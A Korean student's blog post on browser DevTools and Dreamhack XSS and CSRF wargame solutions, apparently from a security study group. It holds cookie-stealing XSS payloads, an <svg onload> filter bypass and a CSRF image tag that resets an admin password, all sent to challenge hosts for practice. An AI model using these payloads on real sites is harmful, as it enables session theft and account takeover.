[E-COPS] 11기 winterproject 2주차 TWIL

흑흑코더·2023년 1월 30일
0

E-COPS

목록 보기
12/17

Dev Tool

: 개발자 도구 - 브라우저에서 F12로 실행

Untitled


Untitled

  • 요소 검사 (맨 왼쪽 버튼)
    • 특정 요소의 개괄적 정보 파악 & 관련 코드 찾기 가능
    • 클릭 뒤 원하는 요소에 마우스 올리기, 한 번 더 클릭 시 관련 HTML코드 하이라이팅
  • 디바이스 툴바 (그 옆 버튼)
    • 현재 브라우저의 화면 비율, User-Agent를 원하는 값으로 변경

Untitled

  • Elements
    • HTML코드 읽기
    • 코드를 선택한 뒤, F2를 누르거나 더블 클릭 → 수정 가능 (헐)
  • Console
    • 자바 스크립트 코드 메시지 출력, 실행

      Untitled

  • Sources
    • 현 페이지를 구성하는 웹 리소스들 확인

      Untitled

      (왼쪽부터)

    • 현 페이지의 리소스 파일 트리

    • 선택한 리소스 상세 보기

    • 디버깅 정보

      • Watch : 원하는 자바 스크립트 식 입력 → 해당 식의 값 변화 확인 가능
      • Call Stack : 함수들의 호출 순서를 스택 형태로 보여줌
      • Scope : 정의된 모든 변수들의 값 확인
      • Breakpoint : 브레이크포인트들 확인, 활성화, 비활성화 가능
  • Network
    • 서버와 오가는 데이터 확인 가능

      https://kr.object.ncloudstorage.com/dreamhack-content/page/ec9e01c141b5b962150a996a260e690681dd05c062445ecf507e113e3e4db10b.png

      🔴 로깅 중지 및 로그 전체 삭제


      🟠 로그 필터링 및 검색


      🟢 옵션

    • Preserve log : 새 페이지로 이동해도 로그 유지

    • Disable cache : 이미 캐시된 리소스도 서버에 요청


      🟡 네트워크 로그


      🔵 네트워크 로그 요약 정보


    • 로그 우클릭>copy : 원하는 형태로 복사 가능

    • copy as fetch로 복사>Consle 패널에 붙여넣기>실 : 동일한 요청을 서버에 재전송 가능

  • Application
    • 웹 애플리케이션과 관련된 리소스 조회 가능

    • Cookies에서 브라우저에 저장된 쿠키 정보 확인, 수정 가능

      실습

사용 속성

  • location.href : 전체 URL을 반환 하거나 URL을 업데이트 할 수 있는 속성값
  • document.cookie : 해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성

Untitled

<script>location.href="/memo?memo"+=document.cookie;</script>

⇒ URL검사 프로그램에 위 코드 작성, 제출

Untitled

⇒ 스크립트 실행, 메모 페이지에서 쿠키 정보 확인 가능


XSS-2

두번째 문제 코드는 XSS-1과 거의 똑같았는데

vuln페이지에서 XSS가 막혀있었다.

그래서 우회 방법을 써야 했는데 아래 글을 참고했다.

버그바운티(Bug Bounty) Write-up / Stored XSS

화면 캡처 2023-01-26 153313.png

<svg/onload>

태그를 사용해 우회를 할 수 있었다.

!! 근데 !!

<svg/onload=location.href="http://host3.dreamhack.games:20569/memo?memo="+=document.cookie;>

라고 입력해도 해결이 도저히 안돼서 솔루션을 참고했더니

<svg/onload=location["href"]="http://host3.dreamhack.games:20569/memo?memo="+document["cookie"];>

그래도 안됨….?

hello라는 단어가 싫어질때쯤

너무 답답해서 그냥 솔루션 전체를 복붙 했더니

<svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document["cookie"]>

됐다

…..?

링크 머리아파서

처음 한 것 처럼 그냥도 해봤는데 안됐다가

세미콜론 빼니까 됐다

<svg onload=location.href="/memo?memo="+document.cookie>

…?

예상원인

  1. href 링크주소의 잘못
  2. 세미콜론의 잘못 (근데 실패했던 코드들에서 세미콜론 빼도 해결이 안됐다ㅠㅠ)
  3. 기타 문법 잘못
    => 알고보니 코드 내용 중 로컬 페이지로 제한 하는 내용이 있었다..
    코드 꼼꼼히 안읽은 내잘못~~
<image src="/change_password?username=admin&pw="admin"">

코드 파일을 확인해 보니 패스워드를 변경할 수 있는 페이지가 있어서

관련 파라미터를 위와같이 짜서 보냈다.

근데 안되길래

이것저것 다 해보다가

<image src="/change_password?pw=admin">

훨씬 간결하게 쓰니까

화면 캡처 2023-01-26 204948.png

해결할 수 있었다!

왜지??

왜 admin이라는걸 안 알려줘도 admin비밀번호를 바꾸는거지?

코드를 잘못 이해했나보다

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "") #pw 입력받기
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login') #딱히 에러 없으면 통과

    users[username] = pw #비밀번호 변경
    return 'Done'

아 솔루션 여기저기 찾아보고 코드를 더 살펴보니

어차피 /flag는 admin 세션으로 실행된다는 것을 알 수 있었다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin' #세션이 admin!!!
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

⇒ admin으로 실행되는 페이지이므로 /change_password페이지 접속 후 비밀번호 변경 요청만 보내주면 된다.

교훈:

  • 페이지 코드 잘 살펴보고 굳이 필요없는 코드 작성하지 말기 (예 : username 검사하는 코드 없는데 굳이굳이 username=admin파라미터 끼워넣는 행동)
  • username이나 pw “”빼기
profile
공부합시다

0개의 댓글